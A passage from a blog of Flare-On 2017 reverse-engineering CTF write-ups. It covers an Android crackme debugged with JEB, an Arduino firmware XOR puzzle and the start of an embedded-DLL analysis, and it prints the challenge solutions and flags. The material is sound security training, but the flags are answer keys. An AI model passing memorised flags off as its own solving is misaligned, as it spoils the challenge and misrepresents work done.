cb = "DycdGg1hYjl8FURaAVZxPhgNOQpdMxVIRwNKc0YDCCsDVn5sJxJMHmJJOgArB1olFA0JHQN+TlcpOgFBKUEAA1M+RVUVDjsWEy8PQUEMV3IsSgJxCFY0IkJAGVY3HV9DbQsRaU1eSxl6IR0SEykOX2gnEAwZGHJHRU0OUn4hFUUADlw8UhRPNwpaJwlZE14Df1IRDi1HS30JFlZAHnRAEQ4tR0p9CRZXQB50LFkHNgNfEgROWkVLZV1bGHVbHyJMSRFZCQtGRU0bQAFpSEtBHxsLVEdaeEEUfCd2akdKYAFaJXBdT3BeHBRFV3IdXCV1PhsUXFUBBR5hXFwwdxsab1kECFoaM0FET2pEd2owBXpAC2ZAS11sMhVmJREWVlFyDV4ldFIdcUMBWlBbcl5CSGFTUCEPW08eEyYNSgJhYjl8Tk9BCUpvDxsAODBeLwUfE08AAAAAAAAAAAAAAAAAEXFkfV1wB0ctDRM="
c = base64.b64decode(cb)
key = "@a-.m"
for x in range(len(c)-len(key)):
temp = ''.join(chr(ord(x) ^ ord(y)) for x,y in zip(key,c[x:]))
printable = True
for y in temp:
if y not in string.printable:
printable = False
break
if printable:
print x, temp
</pre>
</br>
Running the script:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>python xor_cracker.py
0 OF04`
1 g|7#
3 ZlLLT
6 "XQ;)
8 <titl
9 U%w/;
14 1_5#T
17 MX's^
21 stein
[ ... snip ... ]
318 "XQ`"
320 </bod
324 I+B!v
[ ... snip ... ]
C:\>
</div>
</br></br>
We start noticing some HTML code at positions 8 and 320. At position 21 we also get <b>'stein'</b> which is part of <b>'Wolfensteiny'</b> from the PHP script. Using this information we can find the rest of the partial key which turns out to be <b>'3Oiwa_o3@a-.m'</b>. Using the same method we get the other 2 partial keys: <b>'t_rsaat_4froc'</b> and <b>'hx__ayowkleno'</b>
</br></br>
Combining the 3 partial keys we get: <b>th3_xOr_is_waaaay_too_w34k@flare-on.com</b>
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-46413221211037871552017-11-05T04:08:00.001-08:002017-11-25T07:02:23.165-08:00CTF Writeup - Flare-On 2017 - 08: flair.apk<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> flair.apk</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 1</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/blob/master/Flare-On2017/flair.apk?raw=true"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br>
Next up is an Android challenge. To install the APK file I've created a Marshmallow Android x86 emulated phone using 'Visual Studio Emulator for Android' and installed it using adb:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnmuiO5ZFx26mbbysCgbWNp2K7ZPFmNAA6o8VKt8YTcPvpOu-WIlHNkHnYHs9CZRSpgC04jicJRGlwiECb5aOd0zm5ikIETrlc5JC5OyfemhmHtPWpStmLIeg9DvRQq_bA0GIi41bPb7Z9/s1600/flare4_8_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnmuiO5ZFx26mbbysCgbWNp2K7ZPFmNAA6o8VKt8YTcPvpOu-WIlHNkHnYHs9CZRSpgC04jicJRGlwiECb5aOd0zm5ikIETrlc5JC5OyfemhmHtPWpStmLIeg9DvRQq_bA0GIi41bPb7Z9/s500/flare4_8_1.png" data-original-width="720" data-original-height="1280" /></a></div>
</br>
To debug the APK file I decided to use JEB Android Debugger. This debugger is amazing and really easy to use as you'll soon find out in this blog post. It also allows you to debug applications which are NOT marked as debuggable such as flair.apk.
</br></br>
Load the APK in JEB and view the decoded manifest:
</br>
<pre class="brush:xml;">
<?xml version="1.0" encoding="utf-8"?>
<manifest package="com.flare_on.flair" platformBuildVersionCode="25" platformBuildVersionName="7.1.1" xmlns:android="http://schemas.android.com/apk/res/android">
<uses-sdk android:minSdkVersion="16" android:targetSdkVersion="25" />
<meta-data android:name="android.support.VERSION" android:value="25.3.1" />
<application android:allowBackup="true" android:icon="@mipmap/flair_launcher" android:label="@string/app_name" android:supportsRtl="true" android:theme="@style/AppTheme">
<activity android:name="com.flare_on.flair.Chotchkies" android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:exported="false" android:label="@string/michael_title" android:name="com.flare_on.flair.Michael" android:screenOrientation="portrait" />
<activity android:exported="false" android:label="@string/brian_title" android:name="com.flare_on.flair.Brian" android:screenOrientation="portrait" />
<activity android:exported="false" android:label="@string/milton_title" android:name="com.flare_on.flair.Milton" android:screenOrientation="portrait" />
<activity android:exported="false" android:label="@string/printer_title" android:name="com.flare_on.flair.Printer" android:screenOrientation="portrait" />
<meta-data android:name="vdf" android:value="cov" />
</application>
</manifest>
</pre>
</br>
The manifest shows the main class that is called when the application is launched: <b>'com.flare_on.flair.Chotchkies'</b>. This class reveals that we have 4 hurdles to overcome before we are presented with the key:
</br>
<pre class="brush:java;">
private void getFlair(int arg3) {
Intent v0 = null;
switch(arg3) {
case 0: {
v0 = new Intent(((Context)this), Michael.class);
break;
}
case 1: {
v0 = new Intent(((Context)this), Brian.class);
break;
}
case 2: {
v0 = new Intent(((Context)this), Milton.class);
break;
}
case 3: {
v0 = new Intent(((Context)this), Printer.class);
break;
}
}
this.startActivityForResult(v0, arg3);
}
</pre>
</br>
So let's get started.
</br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">Michael</span></h2>
</div>
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsCcC2WmuNS9lgQP9xRA7cVAA8tKRP1A9RXy6dVCPQdh_pV-W9spMwmQljc9WGxYg_kmq_x_dRCF2mw1uQfYVL5DpLbWo5xUofc4edHH39JrROuBjPRNb-lBdQMg-JbHGm_-EkE_8FazNO/s1600/flare4_8_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsCcC2WmuNS9lgQP9xRA7cVAA8tKRP1A9RXy6dVCPQdh_pV-W9spMwmQljc9WGxYg_kmq_x_dRCF2mw1uQfYVL5DpLbWo5xUofc4edHH39JrROuBjPRNb-lBdQMg-JbHGm_-EkE_8FazNO/s500/flare4_8_2.png" data-original-width="720" data-original-height="1280" /></a></div>
</br>
The Michael activity contains a checkPassword() function which validates the input:
</br></br>
<pre class="brush:java;">
private boolean checkPassword(String arg7) {
boolean v0;
int v5 = 9;
int v4 = 7;
int v3 = 5;
if((arg7.isEmpty()) || arg7.length() != 12) {
v0 = false;
}
else {
v0 = true;
if(!arg7.startsWith("M")) {
v0 = false;
}
if(arg7.indexOf(89) != 1) {
v0 = false;
}
if(!arg7.substring(2, v3).equals("PRS")) {
v0 = false;
}
if(arg7.codePointAt(v3) != 72 || arg7.codePointAt(6) != 69) {
v0 = false;
}
if(arg7.charAt(v4) != arg7.charAt(8) || arg7.substring(v4, v5).hashCode() != 3040) {
v0 = false;
}
if(arg7.indexOf("FT") != v5) {
v0 = false;
}
if(arg7.lastIndexOf(87) == arg7.length() - 1) {
return v0;
}
v0 = false;
}
return v0;
}
</pre>
</br>
The only string that will make it through all the if statements is <b>'MYPRSHE__FTW'</b>
</br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">Brian</span></h2>
</div>
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhF9V-CO35Dpawve4a8B25Ur1K6OoMosQk0zz9lc7xge6LdKtezLWSl1me__pivHucQRZY5UZg-VYiJ9wUE4h71PtK0PvcpXZlB67ktwloekW9YOKGBJFQE8NZM0sfcB4Rpfr_AY0R-kJ91/s1600/flare4_8_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhF9V-CO35Dpawve4a8B25Ur1K6OoMosQk0zz9lc7xge6LdKtezLWSl1me__pivHucQRZY5UZg-VYiJ9wUE4h71PtK0PvcpXZlB67ktwloekW9YOKGBJFQE8NZM0sfcB4Rpfr_AY0R-kJ91/s500/flare4_8_3.png" data-original-width="720" data-original-height="1280" /></a></div>
</br>
The important functions in the Brian class are the following:
</br></br>
<pre class="brush:java;">
[... snip ...]
public void onClick(View arg5) {
switch(arg5.getId()) {
case 2131427424: {
String v2 = this.q.getText().toString();
if(this.teraljdknh(v2, this.asdjfnhaxshcvhuw(this.findViewById(2131427422), this.findViewById(2131427423)))) {
Util.flairSuccess(((Activity)this), v2);
}
else {
Util.flairSadness(((Activity)this), this.tEr);
++this.tEr;
}
break;
}
}
}
[... snip ...]
private boolean teraljdknh(String arg2, String arg3) {
return arg2.equals(arg3);
}
</pre>
</br>
If <b>this.teraljdknh()</b> returns True, then we go to <b>Util.flairSuccess()</b> otherwise we branch to <b>Util.flairSadness()</b>. Since <b> teraljdknh()</b> is just a string equals function, we can put a breakpoint when it is called and peek at the parameters:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH61Wl6Ri9OyaDhH5BprUN_enKoLtBBZO1AO6lb8L6CC7C4DySe6MFWeaaj0PZsmrRDJLWuFTCHr4K9QevzINvoB82z72W1-9Jxziwh_b7sf6a5Msc9954jSQRkwtIBatlvHKAbtxKZSSF/s1600/flare4_8_4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH61Wl6Ri9OyaDhH5BprUN_enKoLtBBZO1AO6lb8L6CC7C4DySe6MFWeaaj0PZsmrRDJLWuFTCHr4K9QevzINvoB82z72W1-9Jxziwh_b7sf6a5Msc9954jSQRkwtIBatlvHKAbtxKZSSF/s750/flare4_8_4.png" data-original-width="1254" data-original-height="798" /></a></div>
</br>
As soon as we hit the breakpoint, JEB shows us the local parameters and their values. The ones we're interested in are v2, which contains our input, and v3, which contains the expected input, as these are passed to <b> teraljdknh()</b>. The default type for local variables is 'int' so make sure to change it to 'string' to view the result.
</br></br>
The expected input for this puzzle is therefore <b>'hashtag_covfefe_Fajitas!'</b>
</br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">Milton</span></h2>
</div>
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7nawAJbjGN0KUJazL_McUfykaWDiH01ZDY55_QKjH7nOMpx5ARvMe0GKoESzTYb7444AeH8R5GcNNPpFQxRray__sOuU8euRZWrsPTjtmTQ_9_ThFOqcciFmUcBlaUaAVPi0x66r96Nwl/s1600/flare4_8_5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7nawAJbjGN0KUJazL_McUfykaWDiH01ZDY55_QKjH7nOMpx5ARvMe0GKoESzTYb7444AeH8R5GcNNPpFQxRray__sOuU8euRZWrsPTjtmTQ_9_ThFOqcciFmUcBlaUaAVPi0x66r96Nwl/s500/flare4_8_5.png" data-original-width="720" data-original-height="1280" /></a></div>
</br>
The first things to notice are 1) The 5-star rating system and 2) the button to advance to the next level is disabled. Let's look at the Milton class. The following in an excerpt of the relevant sections:
</br></br>
<pre class="brush:java;">
[ ... snip ... ]
public void onRatingChanged(RatingBar arg6, float arg7, boolean arg8) {
if(arg8) {
if((((double)arg7)) == 4) {
Milton.this.hild = Milton.this.hild + Stapler.vutfs("JP+98sTB4Zt6q8g=", 56, "State");
Milton.this.hild = Milton.this.hild + Stapler.vutfs("rh6HkuflHmw5Rw==", 96, "Chile");
Milton.this.hild = Milton.this.hild + Stapler.vutfs("+BNtTP/6", 118, "eagle");
Milton.this.hild = Milton.this.hild + Stapler.vutfs("oLLoI7X/jIp2+w==", 33, "wind");
Milton.this.hild = Milton.this.hild + Stapler.vutfs("w/MCnPD68xfjSCE=", 148, "river");
Milton.this.r.setEnabled(true);
}
arg6.setEnabled(false);
}
}
[ ... snip ... ]
private boolean breop(String arg5) {
boolean v2 = false;
if(!Milton.trsbd(((Context)this))) {
byte[] v1 = Stapler.neapucx(arg5);
try {
v2 = Arrays.equals(v1, this.nbsadf());
}
catch(NoSuchAlgorithmException v0) {
v0.printStackTrace();
}
catch(UnsupportedEncodingException v0_1) {
v0_1.printStackTrace();
}
}
return v2;
}
[ ... snip ... ]
public void onClick(View arg3) {
switch(arg3.getId()) {
case 2131427439: {
String v0 = this.pexu.getText().toString();
if(this.breop(v0)) {
Util.flairSuccess(((Activity)this), v0);
}
else {
this.vbdrt();
Util.flairSadness(((Activity)this), this.rtgb);
++this.rtgb;
}
break;
}
}
}
[ ... snip ... ]
</pre>
</br>
The <b>onRatingChanged()</b> function is called when the rating on the 5-star scale has been selected. If the rating is 4 (line 5), the button is enabled (line 11). Now we can continue as usual.
</br></br>
In the <b>onClick()</b> function, if <b>this.breop()</b> returns True, then we go to <b>Util.flairSuccess()</b> otherwise we branch to <b>Util.flairSadness()</b>. To ensure that <b>breop()</b> returns True, <b>Array.equals()</b> has to return True as well.
</br></br>
Let's put a breakpoint on <b>Array.equals()</b>, input <b>'123456'</b> and hit the button:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTsTEsqoMqr34bHlSTS1Lj1pTjYbmbUYEKh7isJXhX3rR9p7-j27FCjricYEmNrRzKsSOsuAOkZd02N-G18SY-up01D5uhqp4iUwoYf8wvur6RXbdGf9dbm5CAkmT8k7CcwwDOt6lTezvZ/s1600/flare4_8_6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTsTEsqoMqr34bHlSTS1Lj1pTjYbmbUYEKh7isJXhX3rR9p7-j27FCjricYEmNrRzKsSOsuAOkZd02N-G18SY-up01D5uhqp4iUwoYf8wvur6RXbdGf9dbm5CAkmT8k7CcwwDOt6lTezvZ/s750/flare4_8_6.png" data-original-width="1285" data-original-height="930" /></a></div>
</br>
The function <b>Array.equals()</b> is comparing <b>v1</b> and <b>v3</b>. I had to manually change the type to <b>[B</b> to get them to display an array of bytes. The value of <b>v1</b> in the extra column is [0x12, 0x34, 0x56] which is our input so <b>v3</b> must hold the required input.
</br></br>
Disregarding the sign of the byte we get: <b>'10AEA594831E0B42B956C578EF9A6D44EE39938D'</b>
</br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">Printer</span></h2>
</div>
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfU-Ae4zZp-RMoUWMd0kIAxnnUnvWgfofE_IOXVdvtvYkkdTb3aa1HBT6qFzNI1xiH0ONL7VUVHI-H6Jafj_9NFWJtucvY0nsJoZ20nccuWPCEGAA81-cQ0g_ZssDbbV6Uj7qP_FBzwVf6/s1600/flare4_8_7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfU-Ae4zZp-RMoUWMd0kIAxnnUnvWgfofE_IOXVdvtvYkkdTb3aa1HBT6qFzNI1xiH0ONL7VUVHI-H6Jafj_9NFWJtucvY0nsJoZ20nccuWPCEGAA81-cQ0g_ZssDbbV6Uj7qP_FBzwVf6/s640/flare4_8_7.png" width="360" height="640" data-original-width="720" data-original-height="1280" /></a></div>
</br>
This is the last hurdle to overcome and the most complicated one. Nothing that JEB cannot handle though! The important function here is <b>cgHbC()</b>; if it returns True we get to <b>Util.flairSuccess()</b>:
</br></br>
<pre class="brush:java;">
private boolean cgHbC(String arg15) {
try {
if(Printer.ksdc(this)) {
boolean v9 = false;
return v9;
}
Object v2 = this.wJPBw(Stapler.iemm("Gv@H"));
Class v4 = Class.forName(Stapler.iemm(",e}e8yGS!8Dev)-e@"));
int v5 = v4.getMethod(Stapler.iemm("vSBH"), null).invoke(v2, null).intValue();
byte[] v6 = new byte[v5];
Method v7 = v4.getMethod(Stapler.iemm("LHG"), Object.class);
short v0;
for(v0 = 0; v0 < v5; v0 = ((short)(v0 + 1))) {
v6[v0] = Byte.class.cast(v7.invoke(v2, Short.valueOf(v0))).byteValue();
}
return Class.forName(Stapler.iemm(",e}e8yGS!81PPe(v")).getMethod(Stapler.iemm("H?ye!v"), byte[].class, byte[].class).invoke(null, Stapler.neapucx(arg15), Stapler.poserw(v6)).booleanValue();
}
catch(Exception v1) {
v1.printStackTrace();
return false;
}
}
</pre>
</br>
The function is highly obfuscated. Notice though that arg15, which is our input, is only used on line 18. If we put a breakpoint at the end of function <b>Stapler.poserw()</b> to try and make sense of this line of code we get:
</br></br>
<pre class="brush:java;">
return Class.forName("java.util.Arrays").getMethod("equals"), byte[].class, byte[].class).invoke(null, Stapler.neapucx(arg15), Stapler.poserw(v6)).booleanValue();
</pre>
</br>
So this is a simple Array comparison between our input, arg15, and <b>Stapler.poserw(v6)</b>.
</br></br>
Putting a breakpoint at the end of <b>Stapler.poserw(v6)</b>, changing the type of v1 to <b>[B</b> and collecting the hex values from the Extra column as we did before we get <b>'5F1BE3C9B081C40DDFC4A0238156008EE71E24A4'</b>.
</br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">Piecing It Together</span></h2>
</div>
</br>
At this point we have the 4 correct inputs:
<ol>
<li style="color:#999999;">MYPRSHE__FTW</li>
<li style="color:#999999;">hashtag_covfefe_Fajitas!</li>
<li style="color:#999999;">10AEA594831E0B42B956C578EF9A6D44EE39938D</li>
<li style="color:#999999;">5F1BE3C9B081C40DDFC4A0238156008EE71E24A4</li>
</ol>
Inputting these we get:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz6M37iA5ExoxLob5buuHndIVqcDFdWnNDAfDofHdG_5w1IdiFEcPU0TIvGb1Msu9tQPoHaiEUJWjL4dgN_GiWLRJGCGOGQhQdh974VBt4zXuNvDrs7bvaXAbzjjxkbjMXiM8RB2Gc5kJ8/s1600/Final+Screen.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz6M37iA5ExoxLob5buuHndIVqcDFdWnNDAfDofHdG_5w1IdiFEcPU0TIvGb1Msu9tQPoHaiEUJWjL4dgN_GiWLRJGCGOGQhQdh974VBt4zXuNvDrs7bvaXAbzjjxkbjMXiM8RB2Gc5kJ8/s500/Final+Screen.jpg" data-original-width="332" data-original-height="589" /></a></div>
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-71043370783398807542017-11-04T13:51:00.001-07:002017-11-25T07:02:23.171-08:00CTF Writeup - Flare-On 2017 - 09: remorse.ino.hex<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> remorse.ino.hex</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 1</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://raw.githubusercontent.com/GradiusX/vulnerable.space/master/Flare-On2017/remorse.ino.hex"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br>
The 9th Flare-On challenge was an Arduino one. When I saw the contents of remorse.ino.hex I was confused as to what it was. It didn't look remotely like any other RE challenge I've seen before:
</br></br>
<pre class="brush:avr;">
:100000000C9462000C948A000C948A000C948A0070
:100010000C948A000C948A000C948A000C948A0038
:100020000C948A000C948A000C948A000C948A0028
:100030000C948A000C948A000C948A000C948A0018
[ ... snip ... ]
</pre>
</br>
After some research I found that this I was dealing with an Intel hex file for an Arduino UNO, i.e. an ATmega328P microcontroller. From here I've tried several methods to run the file such as using Atmel Studio or simavr but I couldn't find ways of interacting with the running program. I was even contemplating running it on a real Arduino. At the end I decided to load it in IDA and try my luck using static analysis.
</br></br>
To load it properly in IDA, open the file, select ATMEL AVR and then select <b>ATmega323_L</b>. IDA nicely annotates some of the registers and pins for us too. After some time looking at the functions, <b>sub_536()</b> in particular caught my eye. The following are 2 screenshots of the entire function:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-E5idAIGEtlXaDYDIDSGKyVuM_d13AE36fS62cLTw8DOffEB0zCUUwz9Ljp9RY4mhwac4Tgly1AVLYjrY3Y2wNbMal7b9XM4DhJZptnfKkPsNi__pJy-yw9hHcZiNwiRLk6GQTjB7YgMj/s1600/flare4_9_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-E5idAIGEtlXaDYDIDSGKyVuM_d13AE36fS62cLTw8DOffEB0zCUUwz9Ljp9RY4mhwac4Tgly1AVLYjrY3Y2wNbMal7b9XM4DhJZptnfKkPsNi__pJy-yw9hHcZiNwiRLk6GQTjB7YgMj/s750/flare4_9_1.png"data-original-width="331" data-original-height="1007" /></a></div>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFE8mRQ0hmUM2zWPg3zN7Bf7re1k_vigflU2YV227eZYmMACAIiiZuBhudU8uW87X0jHGRrJ6xqNyR8kI0xYtSULV3WnLlco2SyQUnoB84aneHdC2jOrLOXtPlh4etoCIzd3V_uvXob6vZ/s1600/flare4_9_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFE8mRQ0hmUM2zWPg3zN7Bf7re1k_vigflU2YV227eZYmMACAIiiZuBhudU8uW87X0jHGRrJ6xqNyR8kI0xYtSULV3WnLlco2SyQUnoB84aneHdC2jOrLOXtPlh4etoCIzd3V_uvXob6vZ/s750/flare4_9_2.png" data-original-width="359" data-original-height="1011" /></a></div>
</br>
Notice the comparison with the character <b>'@'</b> in small red basic block. This hinted that we were probably dealing with an email address, and hence the key. Before we can understand what is happened, we need to learn a few AVR instructions. The following are the necessary ones to understand what is happening in the green and yellow basic blocks:
<ul>
<li><b style="color:#cccccc;">LD -</b> <span style="color: #999999;"> Load Indirect from Data Space to Register</span>
<li><b style="color:#cccccc;">LDI -</b> <span style="color: #999999;"> Load Immediate</span>
<li><b style="color:#cccccc;">ST -</b> <span style="color: #999999;"> Store Indirect From Register to Data Space</span>
<li><b style="color:#cccccc;">STD -</b> <span style="color: #999999;"> Store Indirect From Register to Data Space</span>
<li><b style="color:#cccccc;">EOR -</b> <span style="color: #999999;"> Exclusive OR</span>
<li><b style="color:#cccccc;">SUBI -</b> <span style="color: #999999;"> Subtract Immediate</span>
<li><b style="color:#cccccc;">CPI -</b> <span style="color: #999999;"> Compare with Immediate</span>
</ul>
</br>
Nothing too fancy! The instructions are very simple. Using our newly acquired knowledge we can see that in the green basic block, 0x17 bytes are being loaded starting from the <b>Y</b> register. In the yellow basic block, for each of the previous bytes, it XOR's it with an unknown value taken from register <b>Z+</b> and adds the counter value to it, which is held in register <b>r18</b>. At each iteration, register <b>r18</b> is incremented and compared with value 0x17.
</br></br>
As the only unknown value here is Z+, and we're dealing with an 8-bit processor, we can easily bruteforce the solution. The following is a python program that does this:
</br></br>
<pre class="brush:python;">
encrypted = [0xb5,0xb5,0x86,0xb4,0xf4,0xb3,0xf1,0xb0,0xb0,0xf1,0xed,0x80,0xbb,0x8f,0xbf,0x8d,0xc6,0x85,0x87,0xc0,0x94,0x81,0x8c]
for y in range (255):
answer = ''
for x in range(len(encrypted)):
answer += chr(((encrypted[x] ^ y) + x) % 256)
if answer[10] == '@':
print answer
break
</pre>
</br>
Running the script:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>python solution.py
no_r3m0rs3@flare-on.com
C:\>
</div>
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-53772363912670132602017-10-28T16:18:00.001-07:002017-11-25T07:02:23.168-08:00CTF Writeup - Flare-On 2017 - 07: zsud.exe<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> zsud.exe</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 1</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/blob/master/Flare-On2017/zsud.exe?raw=true"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br>
The 7th Flare-On challenge is an x86 single-user dungeon game:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHLQkSvW5n301yYQ5gRWoY91Q8U9GMh3CKI9Rfa-vkZa3QmwjMnz9-gaVBclh7wdTqmFEeVB1B2ZGrrnw2WwhUxP28lnEoKNH6wfA2k3WfcUvAq5WXikG1LIJEEL-A01kDkg2UGs_2z3wX/s1600/flare4_7_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHLQkSvW5n301yYQ5gRWoY91Q8U9GMh3CKI9Rfa-vkZa3QmwjMnz9-gaVBclh7wdTqmFEeVB1B2ZGrrnw2WwhUxP28lnEoKNH6wfA2k3WfcUvAq5WXikG1LIJEEL-A01kDkg2UGs_2z3wX/s600/flare4_7_1.png" data-original-width="800" data-original-height="671" /></a></div>
</br>
The game allows you to move around, interact with objects, pick them up, equip them, drop them and even talk to a guy called Kevin.
</br></br>
Loading the binary in IDA and looking at the strings tab we notice a few interesting ones:
<ul>
<li style="color:#999999;">M:\\whiskey_tango_flareon.dll</li>
<li style="color:#999999;">flareon.dll</li>
<li style="color:#999999;">!This program cannot be run in DOS mode.</li>
<li style="color:#999999;">.text</li>
<li style="color:#999999;">.rsrc</li>
<li style="color:#999999;">.reloc</li>
</ul>
</br>
All of these strings point towards an embedded DLL that starts at location <b>0x148AB0</b>:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmyKgcu-kiQyqWZYQB3qa-SHU9pLHJIlBeEX0p-lmM7ucmFoTtV3OZfTJFhvySeysOFr7-joBAY4rofy-R6E-8ojg0Nmm3i-IE3KUS64oS9kzv2Q8N7g49zcsqurFTNqCWZYUTke1847L3/s1600/flare4_7_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmyKgcu-kiQyqWZYQB3qa-SHU9pLHJIlBeEX0p-lmM7ucmFoTtV3OZfTJFhvySeysOFr7-joBAY4rofy-R6E-8ojg0Nmm3i-IE3KUS64oS9kzv2Q8N7g49zcsqurFTNqCWZYUTke1847L3/s600/flare4_7_2.png" data-original-width="540" data-original-height="260" /></a></div>
</br>
Following the xrefs for this memory region we are directed to function <b>sub_F7170()</b> from which we can identify the size of the embedded DLL:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhnmrCvh1mmE3XeSJ-ZFwBzQ9lwmfNE1s2q5O7LO7OT2txCXoefxf5JDm__Ku_um1oXe17fghyphenhyphenMHNrbgYTUdMZl1ssQIx6-D5s00GwLV1jRYvBlYSF0EQa1QktXoqhWWzQEMOcyMGxDBfv/s1600/flare4_7_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhnmrCvh1mmE3XeSJ-ZFwBzQ9lwmfNE1s2q5O7LO7OT2txCXoefxf5JDm__Ku_um1oXe17fghyphenhyphenMHNrbgYTUdMZl1ssQIx6-D5s00GwLV1jRYvBlYSF0EQa1QktXoqhWWzQEMOcyMGxDBfv/s600/flare4_7_3.png" data-original-width="676" data-original-height="226" /></a></div>
</br>
Extract 0x1200 bytes starting from 0x148AB0, dump them into a file, rename to flareon.dll and open it using dnSpy:
</br></br>
<pre class="brush:csharp;">
using System;
using System.Collections.ObjectModel;
using System.IO;
using System.Management.Automation;
using System.Security.Cryptography;
using System.Text;
namespace flareon
{
public class four
{
private static string Decrypt2(byte[] cipherText, string key)
{
byte[] bytes = Encoding.UTF8.GetBytes(key);
byte[] array = new byte[16];
byte[] iV = array;
string result = null;
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
rijndaelManaged.Key = bytes;
rijndaelManaged.IV = iV;
ICryptoTransform transform = rijndaelManaged.CreateDecryptor(rijndaelManaged.Key, rijndaelManaged.IV);
